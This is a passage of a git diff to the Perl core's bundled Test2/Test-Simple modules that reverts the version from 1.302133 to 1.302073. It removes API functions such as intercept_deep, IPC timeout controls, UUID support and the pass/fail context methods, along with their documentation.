b/cpan/Test-Simple/lib/Test2.pm index b3b6d3c662bf..1b65b334b5b0 100644 --- a/cpan/Test-Simple/lib/Test2.pm +++ b/cpan/Test-Simple/lib/Test2.pm @@ -2,7 +2,7 @@ package Test2; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; 1; @@ -203,7 +203,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/API.pm b/cpan/Test-Simple/lib/Test2/API.pm index f5caaa6947b2..41cd0af209e9 100644 --- a/cpan/Test-Simple/lib/Test2/API.pm +++ b/cpan/Test-Simple/lib/Test2/API.pm @@ -2,14 +2,12 @@ package Test2::API; use strict; use warnings; -use Test2::Util qw/USE_THREADS/; - BEGIN { $ENV{TEST_ACTIVE} ||= 1; $ENV{TEST2_ACTIVE} = 1; } -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; my $INST; @@ -18,23 +16,12 @@ sub test2_set_is_end { ($ENDING) = @_ ? @_ : (1) } sub test2_get_is_end { $ENDING } use Test2::API::Instance(\$INST); - # Set the exit status END { test2_set_is_end(); # See gh #16 $INST->set_exit(); } -sub CLONE { - my $init = test2_init_done(); - my $load = test2_load_done(); - - return if $init && $load; - - require Carp; - Carp::croak "Test2 must be fully loaded before you start a new thread!\n"; -} - # See gh #16 { no warnings; @@ -51,8 +38,7 @@ BEGIN { } } -use Test2::EventFacet::Trace(); -use Test2::Util::Trace(); # Legacy +use Test2::Util::Trace(); use Test2::Hub::Subtest(); use Test2::Hub::Interceptor(); @@ -68,23 +54,19 @@ use Test2::Event::Waiting(); use Test2::Event::Skip(); use Test2::Event::Subtest(); -use Carp qw/carp croak confess/; +use Carp qw/carp croak confess longmess/; use Scalar::Util qw/blessed weaken/; -use Test2::Util qw/get_tid clone_io pkg_to_file/; +use Test2::Util qw/get_tid/; our @EXPORT_OK = qw{ context release context_do no_context - intercept intercept_deep + intercept run_subtest test2_init_done test2_load_done - test2_load - test2_start_preload - test2_stop_preload - test2_in_preload test2_set_is_end test2_get_is_end @@ -93,11 +75,6 @@ our @EXPORT_OK = qw{ test2_tid test2_stack test2_no_wait - test2_ipc_wait_enable - test2_ipc_wait_disable - test2_ipc_wait_enabled - - test2_add_uuid_via test2_add_callback_context_aquire test2_add_callback_context_acquire @@ -105,19 +82,14 @@ our @EXPORT_OK = qw{ test2_add_callback_context_release test2_add_callback_exit test2_add_callback_post_load - test2_add_callback_pre_subtest test2_list_context_aquire_callbacks test2_list_context_acquire_callbacks test2_list_context_init_callbacks test2_list_context_release_callbacks test2_list_exit_callbacks test2_list_post_load_callbacks - test2_list_pre_subtest_callbacks test2_ipc - test2_has_ipc - test2_ipc_disable - test2_ipc_disabled test2_ipc_drivers test2_ipc_add_driver test2_ipc_polling @@ -125,18 +97,12 @@ our @EXPORT_OK = qw{ test2_ipc_enable_polling test2_ipc_get_pending test2_ipc_set_pending - test2_ipc_get_timeout - test2_ipc_set_timeout test2_ipc_enable_shm test2_formatter test2_formatters test2_formatter_add test2_formatter_set - - test2_stdout - test2_stderr - test2_reset_io }; BEGIN { require Exporter; our @ISA = qw(Exporter) } @@ -145,36 +111,12 @@ my $CONTEXTS = $INST->contexts; my $INIT_CBS = $INST->context_init_callbacks; my $ACQUIRE_CBS = $INST->context_acquire_callbacks; -my $STDOUT = clone_io(\*STDOUT); -my $STDERR = clone_io(\*STDERR); -sub test2_stdout { $STDOUT ||= clone_io(\*STDOUT) } -sub test2_stderr { $STDERR ||= clone_io(\*STDERR) } - -sub test2_post_preload_reset { - test2_reset_io(); - $INST->post_preload_reset; -} - -sub test2_reset_io { - $STDOUT = clone_io(\*STDOUT); - $STDERR = clone_io(\*STDERR); -} - sub test2_init_done { $INST->finalized } sub test2_load_done { $INST->loaded } -sub test2_load { $INST->load } -sub test2_start_preload { $ENV{T2_IN_PRELOAD} = 1; $INST->start_preload } -sub test2_stop_preload { $ENV{T2_IN_PRELOAD} = 0; $INST->stop_preload } -sub test2_in_preload { $INST->preload } - -sub test2_pid { $INST->pid } -sub test2_tid { $INST->tid } -sub test2_stack { $INST->stack } -sub test2_ipc_wait_enable { $INST->set_no_wait(0) } -sub test2_ipc_wait_disable { $INST->set_no_wait(1) } -sub test2_ipc_wait_enabled { !$INST->no_wait } - +sub test2_pid { $INST->pid } +sub test2_tid { $INST->tid } +sub test2_stack { $INST->stack } sub test2_no_wait { $INST->set_no_wait(@_) if @_; $INST->no_wait; @@ -186,24 +128,14 @@ sub test2_add_callback_context_init { $INST->add_context_init_callback(@_) sub test2_add_callback_context_release { $INST->add_context_release_callback(@_) } sub test2_add_callback_exit { $INST->add_exit_callback(@_) } sub test2_add_callback_post_load { $INST->add_post_load_callback(@_) } -sub test2_add_callback_pre_subtest { $INST->add_pre_subtest_callback(@_) } sub test2_list_context_aquire_callbacks { @{$INST->context_acquire_callbacks} } sub test2_list_context_acquire_callbacks { @{$INST->context_acquire_callbacks} } sub test2_list_context_init_callbacks { @{$INST->context_init_callbacks} } sub test2_list_context_release_callbacks { @{$INST->context_release_callbacks} } sub test2_list_exit_callbacks { @{$INST->exit_callbacks} } sub test2_list_post_load_callbacks { @{$INST->post_load_callbacks} } -sub test2_list_pre_subtest_callbacks { @{$INST->pre_subtest_callbacks} } - -sub test2_add_uuid_via { - $INST->set_add_uuid_via(@_) if @_; - $INST->add_uuid_via(); -} sub test2_ipc { $INST->ipc } -sub test2_has_ipc { $INST->has_ipc } -sub test2_ipc_disable { $INST->ipc_disable } -sub test2_ipc_disabled { $INST->ipc_disabled } sub test2_ipc_add_driver { $INST->add_ipc_driver(@_) } sub test2_ipc_drivers { @{$INST->ipc_drivers} } sub test2_ipc_polling { $INST->ipc_polling } @@ -211,21 +143,9 @@ sub test2_ipc_enable_polling { $INST->enable_ipc_polling } sub test2_ipc_disable_polling { $INST->disable_ipc_polling } sub test2_ipc_get_pending { $INST->get_ipc_pending } sub test2_ipc_set_pending { $INST->set_ipc_pending(@_) } -sub test2_ipc_set_timeout { $INST->set_ipc_timeout(@_) } -sub test2_ipc_get_timeout { $INST->ipc_timeout() } sub test2_ipc_enable_shm { $INST->ipc_enable_shm } -sub test2_formatter { - if ($ENV{T2_FORMATTER} && $ENV{T2_FORMATTER} =~ m/^(\+)?(.*)$/) { - my $formatter = $1 ? $2 : "Test2::Formatter::$2"; - my $file = pkg_to_file($formatter); - require $file; - return $formatter; - } - - return $INST->formatter; -} - +sub test2_formatter { $INST->formatter } sub test2_formatters { @{$INST->formatters} } sub test2_formatter_add { $INST->add_formatter(@_) } sub test2_formatter_set { @@ -240,7 +160,6 @@ sub _contexts_ref { $INST->contexts } sub _context_acquire_callbacks_ref { $INST->context_acquire_callbacks } sub _context_init_callbacks_ref { $INST->context_init_callbacks } sub _context_release_callbacks_ref { $INST->context_release_callbacks } -sub _add_uuid_via_ref { \($INST->{Test2::API::Instance::ADD_UUID_VIA()}) } # Private, for use in Test2::IPC sub _set_ipc { $INST->set_ipc(@_) } @@ -288,12 +207,10 @@ sub no_context(&;$) { return; }; -my $UUID_VIA = _add_uuid_via_ref(); -my $CID = 1; sub context { # We need to grab these before anything else to ensure they are not # changed. - my ($errno, $eval_error, $child_error, $extended_error) = (0 + $!, $@, $?, $^E); + my ($errno, $eval_error, $child_error) = (0 + $!, $@, $?); my %params = (level => 0, wrapped => 0, @_); @@ -335,7 +252,7 @@ sub context { } # I know this is ugly.... - ($!, $@, $?, $^E) = ($errno, $eval_error, $child_error, $extended_error) and return bless( + ($!, $@, $?) = ($errno, $eval_error, $child_error) and return bless( { %$current, _is_canon => undef, @@ -366,20 +283,11 @@ sub context { # hit with how often this needs to be called. my $trace = bless( { - frame => [$pkg, $file, $line, $sub], - pid => $$, - tid => get_tid(), - cid => 'C' . $CID++, - hid => $hid, - nested => $hub->{nested}, - buffered => $hub->{buffered}, - - $$UUID_VIA ? ( - huuid => $hub->{uuid}, - uuid => ${$UUID_VIA}->('context'), - ) : (), + frame => [$pkg, $file, $line, $sub], + pid => $$, + tid => get_tid(), }, - 'Test2::EventFacet::Trace' + 'Test2::Util::Trace' ); # Directly bless the object here, calling new is a noticeable performance @@ -409,7 +317,7 @@ sub context { $params{on_init}->($current) if $params{on_init}; - ($!, $@, $?, $^E) = ($errno, $eval_error, $child_error, $extended_error); + ($!, $@, $?) = ($errno, $eval_error, $child_error); return $current; } @@ -437,8 +345,7 @@ sub _existing_error { my $oldframe = $ctx->{trace}->frame; my $olddepth = $ctx->{_depth}; - # Older versions of Carp do not export longmess() function, so it needs to be called with package name - my $mess = Carp::longmess(); + my $mess = longmess(); warn <<" EOT"; $msg @@ -467,29 +374,7 @@ sub release($;$) { sub intercept(&) { my $code = shift; - my $ctx = context(); - - my $events = _intercept($code, deep => 0); - - $ctx->release; - - return $events; -} - -sub intercept_deep(&) { - my $code = shift; - my $ctx = context(); - - my $events = _intercept($code, deep => 1); - - $ctx->release; - return $events; -} - -sub _intercept { - my $code = shift; - my %params = @_; my $ctx = context(); my $ipc; @@ -504,7 +389,7 @@ sub _intercept { ); my @events; - $hub->listen(sub { push @events => $_[1] }, inherit => $params{deep}); + $hub->listen(sub { push @events => $_[1] }); $ctx->stack->top; # Make sure there is a top hub before we begin. $ctx->stack->push($hub); @@ -541,29 +426,24 @@ sub _intercept { sub run_subtest { my ($name, $code, $params, @args) = @_; - $_->($name,$code,@args) - for Test2::API::test2_list_pre_subtest_callbacks(); - $params = {buffered => $params} unless ref $params; + my $buffered = delete $params->{buffered}; my $inherit_trace = delete $params->{inherit_trace}; my $ctx = context(); - my $parent = $ctx->hub; - - # If a parent is buffered then the child must be as well. - my $buffered = $params->{buffered} || $parent->{buffered}; - $ctx->note($name) unless $buffered; + my $parent = $ctx->hub; + my $stack = $ctx->stack || $STACK; my $hub = $stack->new_hub( class => 'Test2::Hub::Subtest', %$params, - buffered => $buffered, ); my @events; + $hub->set_nested( $parent->isa('Test2::Hub::Subtest') ? $parent->nested + 1 : 1 ); $hub->listen(sub { push @events => $_[1] }); if ($buffered) { @@ -572,15 +452,21 @@ sub run_subtest { $hub->format(undef) if $hide; } } + elsif (! $parent->format) { + # If our parent has no format that means we're in a buffered subtest + # and now we're trying to run a streaming subtest. There's really no + # way for that to work, so we need to force the use of a buffered + # subtest here as + # well. https://github.com/Test-More/test-more/issues/721 + $buffered = 1; + } if ($inherit_trace) { my $orig = $code; $code = sub { - my $base_trace = $ctx->trace; - my $trace = $base_trace->snapshot(nested => 1 + $base_trace->nested); my $st_ctx = Test2::API::Context->new( - trace => $trace, - hub => $hub, + trace => $ctx->trace, + hub => $hub, ); $st_ctx->do_in_context($orig, @args); }; @@ -601,44 +487,20 @@ sub run_subtest { $finished = 1; } } - - if ($params->{no_fork}) { - if ($$ != $ctx->trace->pid) { - warn $ok ? "Forked inside subtest, but subtest never finished!\n" : $err; - exit 255; - } - - if (get_tid() != $ctx->trace->tid) { - warn $ok ? "Started new thread inside subtest, but thread never finished!\n" : $err; - exit 255; - } - } - elsif (!$parent->is_local && !$parent->ipc) { - warn $ok ? "A new process or thread was started inside subtest, but IPC is not enabled!\n" : $err; - exit 255; - } - $stack->pop($hub); my $trace = $ctx->trace; - my $bailed = $hub->bailed_out; - if (!$finished) { - if ($bailed && !$buffered) { + if(my $bailed = $hub->bailed_out) { $ctx->bail($bailed->reason); } - elsif ($bailed && $buffered) { - $ok = 1; - } - else { - my $code = $hub->exit_code; - $ok = !$code; - $err = "Subtest ended with exit code $code" if $code; - } + my $code = $hub->exit_code; + $ok = !$code; + $err = "Subtest ended with exit code $code" if $code; } - $hub->finalize($trace->snapshot(huuid => $hub->uuid, hid => $hub->hid, nested => $hub->nested, buffered => $buffered), 1) + $hub->finalize($trace, 1) if $ok && !$hub->no_ending && !$hub->ended; @@ -646,12 +508,11 @@ sub run_subtest { my $pass = $ok && $hub->is_passing; my $e = $ctx->build_event( 'Subtest', - pass => $pass, - name => $name, - subtest_id => $hub->id, - subtest_uuid => $hub->uuid, - buffered => $buffered, - subevents => \@events, + pass => $pass, + name => $name, + subtest_id => $hub->id, + buffered => $buffered, + subevents => \@events, ); my $plan_ok = $hub->check_plan; @@ -665,8 +526,6 @@ sub run_subtest { $ctx->diag("Bad subtest plan, expected " . $hub->plan . " but ran " . $hub->count) if defined($plan_ok) && !$plan_ok; - $ctx->bail($bailed->reason) if $bailed && $buffered; - $ctx->release; return $pass; } @@ -759,35 +618,6 @@ generated by the test system: my_ok($events->[0]->pass, "first event passed"); my_ok(!$events->[1]->pass, "second event failed"); -=head3 DEEP EVENT INTERCEPTION - -Normally C only intercepts events sent to the main hub (as -added by intercept itself). Nested hubs, such as those created by subtests, -will not be intercepted. This is normally what you will still see the nested -events by inspecting the subtest event. However there are times where you want -to verify each event as it is sent, in that case use C. - - my $events = intercept_Deep { - buffered_subtest foo => sub { - ok(1, "pass"); - }; - }; - -C<$events> in this case will contain 3 items: - -=over 4 - -=item The event from C - -=item The plan event for the subtest - -=item The subtest event itself, with the first 2 events nested inside it as children. - -=back - -This lets you see the order in which the events were sent, unlike -C which only lets you see events as the main hub sees them. - =head2 OTHER API FUNCTIONS use Test2::API qw{ @@ -1128,12 +958,6 @@ created for the hub that shares the same trace as the current context. Set this to true if your tool is producing subtests without user-specified subs. -=item 'no_fork' => $bool - -Defaults to off. Normally forking inside a subtest will actually fork the -subtest, resulting in 2 final subtest events. This parameter will turn off that -behavior, only the original process/thread will return a final subtest event. - =back =item @ARGS @@ -1241,57 +1065,15 @@ Check if Test2 believes it is the END phase. This will return the global L instance. If this has not yet been initialized it will be initialized now. -=item test2_ipc_disable - -Disable IPC. - -=item $bool = test2_ipc_diabled - -Check if IPC is disabled. - -=item test2_ipc_wait_enable() - -=item test2_ipc_wait_disable() - -=item $bool = test2_ipc_wait_enabled() - -These can be used to turn IPC waiting on and off, or check the current value of -the flag. - -Waiting is turned on by default. Waiting will cause the parent process/thread -to wait until all child processes and threads are finished before exiting. You -will almost never want to turn this off. - =item $bool = test2_no_wait() =item test2_no_wait($bool) -B: This is a confusing interface, it is better to use -C, C and -C. - This can be used to get/set the no_wait status. Waiting is turned on by default. Waiting will cause the parent process/thread to wait until all child processes and threads are finished before exiting. You will almost never want to turn this off. -=item $fh = test2_stdout() - -=item $fh = test2_stderr() - -These functions return the filehandles that test output should be written to. -They are primarily useful when writing a custom formatter and code that turns -events into actual output (TAP, etc.) They will return a dupe of the original -filehandles that formatted output can be sent to regardless of whatever state -the currently running test may have left STDOUT and STDERR in. - -=item test2_reset_io() - -Re-dupe the internal filehandles returned by C and -C from the current STDOUT and STDERR. You shouldn't need to do -this except in very peculiar situations (for example, you're testing a new -formatter and you need control over where the formatter is sending its output.) - =back =head2 BEHAVIOR HOOKS @@ -1354,12 +1136,6 @@ callback will receive the newly created context as its only argument. Add a callback that will be called every time a context is released. The callback will receive the released context as its only argument. -=item test2_add_callback_pre_subtest(sub { ... }) - -Add a callback that will be called every time a subtest is going to be -run. The callback will receive the subtest name, coderef, and any -arguments. - =item @list = test2_list_context_acquire_callbacks() Return all the context acquire callback references. @@ -1380,26 +1156,6 @@ Returns all the exit callback references. Returns all the post load callback references. -=item @list = test2_list_pre_subtest_callbacks() - -Returns all the pre-subtest callback references. - -=item test2_add_uuid_via(sub { ... }) - -=item $sub = test2_add_uuid_via() - -This allows you to provide a UUID generator. If provided UUIDs will be attached -to all events, hubs, and contexts. This is useful for storing, tracking, and -linking these objects. - -The sub you provide should always return a unique identifier. Most things will -expect a proper UUID string, however nothing in Test2::API enforces this. - -The sub will receive exactly 1 argument, the type of thing being tagged -'context', 'hub', or 'event'. In the future additional things may be tagged, in -which case new strings will be passed in. These are purely informative, you can -(and usually should) ignore them. - =back =head2 IPC AND CONCURRENCY @@ -1408,10 +1164,6 @@ These let you access, or specify, the IPC system internals. =over 4 -=item $bool = test2_has_ipc() - -Check if IPC is enabled. - =item $ipc = test2_ipc() This will return the global L instance. If this has not yet @@ -1461,15 +1213,6 @@ This returns 0 if there are (most likely) no pending events. This returns 1 if there are (likely) pending events. Upon return it will reset, nothing else will be able to see that there were pending events. -=item $timeout = test2_ipc_get_timeout() - -=item test2_ipc_set_timeout($timeout) - -Get/Set the timeout value for the IPC system. This timeout is how long the IPC -system will wait for child processes and threads to finish before aborting. - -The default value is C<30> seconds. - =back =head2 MANAGING FORMATTERS @@ -1557,7 +1300,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/API/Breakage.pm b/cpan/Test-Simple/lib/Test2/API/Breakage.pm index 08aee9dcb1a2..b85e4d54c9f2 100644 --- a/cpan/Test-Simple/lib/Test2/API/Breakage.pm +++ b/cpan/Test-Simple/lib/Test2/API/Breakage.pm @@ -2,7 +2,7 @@ package Test2::API::Breakage; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test2::Util qw/pkg_to_file/; @@ -31,12 +31,7 @@ sub upgrade_required { 'Test::SharedFork' => '0.34', 'Test::Alien' => '0.04', 'Test::UseAllModules' => '0.14', - 'Test::More::Prefix' => '0.005', - 'Test2::Tools::EventDumper' => 0.000007, - 'Test2::Harness' => 0.000013, - - 'Test::DBIx::Class::Schema' => '1.0.9', 'Test::Clustericious::Cluster' => '0.30', ); } @@ -48,10 +43,12 @@ sub known_broken { 'Test::Aggregate' => '0.373', 'Test::Flatten' => '0.11', 'Test::Group' => '0.20', + 'Test::More::Prefix' => '0.005', 'Test::ParallelSubtest' => '0.05', 'Test::Pretty' => '0.32', 'Test::Wrapper' => '0.3.0', + 'Test::DBIx::Class::Schema' => '1.0.9', 'Log::Dispatch::Config::TestLog' => '0.02', ); } @@ -168,7 +165,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/API/Context.pm b/cpan/Test-Simple/lib/Test2/API/Context.pm index 6141a43ff8ee..7660fa69ea2b 100644 --- a/cpan/Test-Simple/lib/Test2/API/Context.pm +++ b/cpan/Test-Simple/lib/Test2/API/Context.pm @@ -2,14 +2,14 @@ package Test2::API::Context; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; -use Carp qw/confess croak/; +use Carp qw/confess croak longmess/; use Scalar::Util qw/weaken blessed/; use Test2::Util qw/get_tid try pkg_to_file get_tid/; -use Test2::EventFacet::Trace(); +use Test2::Util::Trace(); use Test2::API(); # Preload some key event types @@ -19,7 +19,7 @@ my %LOADED = ( my $file = "Test2/Event/$_.pm"; require $file unless $INC{$file}; ( $pkg => $pkg, $_ => $pkg ) - } qw/Ok Diag Note Plan Bail Exception Waiting Skip Subtest Pass Fail V2/ + } qw/Ok Diag Note Info Plan Bail Exception Waiting Skip Subtest/ ); use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/; @@ -155,7 +155,9 @@ sub do_in_context { # We need to update the pid/tid and error vars. my $clone = $self->snapshot; @$clone{+ERRNO, +EVAL_ERROR, +CHILD_ERROR} = ($!, $@, $?); - $clone->{+TRACE} = $clone->{+TRACE}->snapshot(pid => $$, tid => get_tid()); + $clone->{+TRACE} = $clone->{+TRACE}->snapshot; + $clone->{+TRACE}->set_pid($$); + $clone->{+TRACE}->set_tid(get_tid()); my $hub = $clone->{+HUB}; my $hid = $hub->hid; @@ -200,49 +202,6 @@ sub alert { $self->trace->alert($msg); } -sub send_ev2_and_release { - my $self = shift; - my $out = $self->send_ev2(@_); - $self->release; - return $out; -} - -sub send_ev2 { - my $self = shift; - - my $e; - { - local $Carp::CarpLevel = $Carp::CarpLevel + 1; - $e = Test2::Event::V2->new( - trace => $self->{+TRACE}->snapshot, - @_, - ); - } - - if ($self->{+_ABORTED}) { - my $f = $e->facet_data; - ${$self->{+_ABORTED}}++ if $f->{control}->{halt} || defined($f->{control}->{terminate}) || defined($e->terminate); - } - $self->{+HUB}->send($e); -} - -sub build_ev2 { - my $self = shift; - - local $Carp::CarpLevel = $Carp::CarpLevel + 1; - Test2::Event::V2->new( - trace => $self->{+TRACE}->snapshot, - @_, - ); -} - -sub send_event_and_release { - my $self = shift; - my $out = $self->send_event(@_); - $self->release; - return $out; -} - sub send_event { my $self = shift; my $event = shift; @@ -250,19 +209,12 @@ sub send_event { my $pkg = $LOADED{$event} || $self->_parse_event($event); - my $e; - { - local $Carp::CarpLevel = $Carp::CarpLevel + 1; - $e = $pkg->new( - trace => $self->{+TRACE}->snapshot, - %args, - ); - } + my $e = $pkg->new( + trace => $self->{+TRACE}->snapshot, + %args, + ); - if ($self->{+_ABORTED}) { - my $f = $e->facet_data; - ${$self->{+_ABORTED}}++ if $f->{control}->{halt} || defined($f->{control}->{terminate}) || defined($e->terminate); - } + ${$self->{+_ABORTED}}++ if $self->{+_ABORTED} && defined $e->terminate; $self->{+HUB}->send($e); } @@ -273,81 +225,12 @@ sub build_event { my $pkg = $LOADED{$event} || $self->_parse_event($event); - local $Carp::CarpLevel = $Carp::CarpLevel + 1; $pkg->new( trace => $self->{+TRACE}->snapshot, %args, ); } -sub pass { - my $self = shift; - my ($name) = @_; - - my $e = bless( - { - trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'), - name => $name, - }, - "Test2::Event::Pass" - ); - - $self->{+HUB}->send($e); - return $e; -} - -sub pass_and_release { - my $self = shift; - my ($name) = @_; - - my $e = bless( - { - trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'), - name => $name, - }, - "Test2::Event::Pass" - ); - - $self->{+HUB}->send($e); - $self->release; - return 1; -} - -sub fail { - my $self = shift; - my ($name, @diag) = @_; - - my $e = bless( - { - trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'), - name => $name, - }, - "Test2::Event::Fail" - ); - - $e->add_info({tag => 'DIAG', debug => 1, details => $_}) for @diag; - $self->{+HUB}->send($e); - return $e; -} - -sub fail_and_release { - my $self = shift; - my ($name, @diag) = @_; - - my $e = bless( - { - trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'), - name => $name, - }, - "Test2::Event::Fail" - ); - - $e->add_info({tag => 'DIAG', debug => 1, details => $_}) for @diag; - $self->{+HUB}->send($e); - $self->release; - return 0; -} - sub ok { my $self = shift; my ($pass, $name, $on_fail) = @_; @@ -355,7 +238,7 @@ sub ok { my $hub = $self->{+HUB}; my $e = bless { - trace => bless( {%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'), + trace => bless( {%{$self->{+TRACE}}}, 'Test2::Util::Trace'), pass => $pass, name => $name, }, 'Test2::Event::Ok'; @@ -367,7 +250,14 @@ sub ok { $self->failure_diag($e); if ($on_fail && @$on_fail) { - $self->diag($_) for @$on_fail; + for my $of (@$on_fail) { + if (ref($of) eq 'CODE' || (blessed($of) && $of->can('render'))) { + $self->info($of, diagnostics => 1); + } + else { + $self->diag($of); + } + } } return $e; @@ -377,6 +267,13 @@ sub failure_diag { my $self = shift; my ($e) = @_; + # This behavior is inherited from Test::Builder which injected a newline at + # the start of the first diagnostics when the harness is active, but not + # verbose. This is important to keep the diagnostics from showing up + # appended to the existing line, which is hard to read. In a verbose + # harness there is no need for this. + my $prefix = $ENV{HARNESS_ACTIVE} && !$ENV{HARNESS_IS_VERBOSE} ? "\n" : ""; + # Figure out the debug info, this is typically the file name and line # number, but can also be a custom message. If no trace object is provided # then we have nothing useful to display. @@ -387,8 +284,8 @@ sub failure_diag { # Create the initial diagnostics. If the test has a name we put the debug # info on a second line, this behavior is inherited from Test::Builder. my $msg = defined($name) - ? qq[Failed test '$name'\n$debug.\n] - : qq[Failed test $debug.\n]; + ? qq[${prefix}Failed test '$name'\n$debug.\n] + : qq[${prefix}Failed test $debug.\n]; $self->diag($msg); } @@ -405,6 +302,12 @@ sub skip { ); } +sub info { + my $self = shift; + my ($renderer, %params) = @_; + $self->send_event('Info', renderer => $renderer, %params); +} + sub note { my $self = shift; my ($message) = @_; @@ -606,7 +509,7 @@ current one to which all events should be sent. =item $dbg = $ctx->trace() -This will return the L instance used by the context. +This will return the L instance used by the context. =item $ctx->do_in_context(\&code, @args); @@ -650,117 +553,25 @@ The value of C<$@> when the context was created. =head2 EVENT PRODUCTION METHODS -B - -The C and C are optimal if they meet your situation, using one of -them will always be the most optimal. That said they are optimal by eliminating -many features. - -Method such as C, and C are shortcuts for generating common 1-task -events based on the old API, however they are forward compatible, and easy to -use. If these meet your needs then go ahead and use them, but please check back -often for alternatives that may be added. - -If you want to generate new style events, events that do many things at once, -then you want the C<*ev2*> methods. These let you directly specify which facets -you wish to use. - =over 4 -=item $event = $ctx->pass() - -=item $event = $ctx->pass($name) - -This will send and return an L event. You may optionally -provide a C<$name> for the assertion. - -The L is a specially crafted and optimized event, using -this will help the performance of passing tests. - -=item $true = $ctx->pass_and_release() - -=item $true = $ctx->pass_and_release($name) - -This is a combination of C and C. You can use this if you do -not plan to do anything with the context after sending the event. This helps -write more clear and compact code. - - sub shorthand { - my ($bool, $name) = @_; - my $ctx = context(); - return $ctx->pass_and_release($name) if $bool; - - ... Handle a failure ... - } - - sub longform { - my ($bool, $name) = @_; - my $ctx = context(); - - if ($bool) { - $ctx->pass($name); - $ctx->release; - return 1; - } - - ... Handle a failure ... - } - -=item my $event = $ctx->fail() - -=item my $event = $ctx->fail($name) - -=item my $event = $ctx->fail($name, @diagnostics) - -This lets you send an L event. You may optionally provide a -C<$name> and C<@diagnostics> messages. - -=item my $false = $ctx->fail_and_release() - -=item my $false = $ctx->fail_and_release($name) - -=item my $false = $ctx->fail_and_release($name, @diagnostics) - -This is a combination of C and C. This can be used to write -clearer and shorter code. - - sub shorthand { - my ($bool, $name) = @_; - my $ctx = context(); - return $ctx->fail_and_release($name) unless $bool; - - ... Handle a success ... - } - - sub longform { - my ($bool, $name) = @_; - my $ctx = context(); - - unless ($bool) { - $ctx->pass($name); - $ctx->release; - return 1; - } - - ... Handle a success ... - } - - =item $event = $ctx->ok($bool, $name) =item $event = $ctx->ok($bool, $name, \@on_fail) -B Use of this method is discouraged in favor of C and C -which produce L and L events. These -newer event types are faster and less crufty. - This will create an L object for you. If C<$bool> is false then an L event will be sent as well with details about the failure. If you do not want automatic diagnostics you should use the C method directly. The third argument C<\@on_fail>) is an optional set of diagnostics to be sent in -the event of a test failure. +the event of a test failure. Plain strings will be sent as +L events. References will be used to construct +L events with C<< diagnostics => 1 >>. + +=item $event = $ctx->info($renderer, diagnostics => $bool, %other_params) + +Send an L. =item $event = $ctx->note($message) @@ -788,45 +599,8 @@ Send an L event. This sends an L event. This event will completely terminate all testing. -=item $event = $ctx->send_ev2(%facets) - -This lets you build and send a V2 event directly from facets. The event is -returned after it is sent. - -This example sends a single assertion, a note (comment for stdout in -Test::Builder talk) and sets the plan to 1. - - my $event = $ctx->send_event( - plan => {count => 1}, - assert => {pass => 1, details => "A passing assert"}, - info => [{tag => 'NOTE', details => "This is a note"}], - ); - -=item $event = $ctx->build_e2(%facets) - -This is the same as C, except it builds and returns the event -without sending it. - -=item $event = $ctx->send_ev2_and_release($Type, %parameters) - -This is a combination of C and C. - - sub shorthand { - my $ctx = context(); - return $ctx->send_ev2_and_release(assert => {pass => 1, details => 'foo'}); - } - - sub longform { - my $ctx = context(); - my $event = $ctx->send_ev2(assert => {pass => 1, details => 'foo'}); - $ctx->release; - return $event; - } - =item $event = $ctx->send_event($Type, %parameters) -B - This lets you build and send an event of any type. The C<$Type> argument should be the event package name with C left off, or a fully qualified package name prefixed with a '+'. The event is returned after it is @@ -840,29 +614,9 @@ or =item $event = $ctx->build_event($Type, %parameters) -B - This is the same as C, except it builds and returns the event without sending it. -=item $event = $ctx->send_event_and_release($Type, %parameters) - -B - -This is a combination of C and C. - - sub shorthand { - my $ctx = context(); - return $ctx->send_event_and_release(Pass => { name => 'foo' }); - } - - sub longform { - my $ctx = context(); - my $event = $ctx->send_event(Pass => { name => 'foo' }); - $ctx->release; - return $event; - } - =back =head1 HOOKS @@ -975,7 +729,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/API/Instance.pm b/cpan/Test-Simple/lib/Test2/API/Instance.pm index 0522dd77aa45..70d4cd7bb78d 100644 --- a/cpan/Test-Simple/lib/Test2/API/Instance.pm +++ b/cpan/Test-Simple/lib/Test2/API/Instance.pm @@ -2,16 +2,16 @@ package Test2::API::Instance; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; our @CARP_NOT = qw/Test2::API Test2::API::Instance Test2::IPC::Driver Test2::Formatter/; use Carp qw/confess carp/; use Scalar::Util qw/reftype/; -use Test2::Util qw/get_tid USE_THREADS CAN_FORK pkg_to_file try CAN_SIGSYS/; +use Test2::Util qw/get_tid USE_THREADS CAN_FORK pkg_to_file try/; -use Test2::EventFacet::Trace(); +use Test2::Util::Trace(); use Test2::API::Stack(); use Test2::Util::HashBase qw{ @@ -21,17 +21,11 @@ use Test2::Util::HashBase qw{ ipc stack formatter contexts - add_uuid_via - - -preload - - ipc_disabled ipc_shm_size ipc_shm_last ipc_shm_id ipc_polling ipc_drivers - ipc_timeout formatters exit_callbacks @@ -39,13 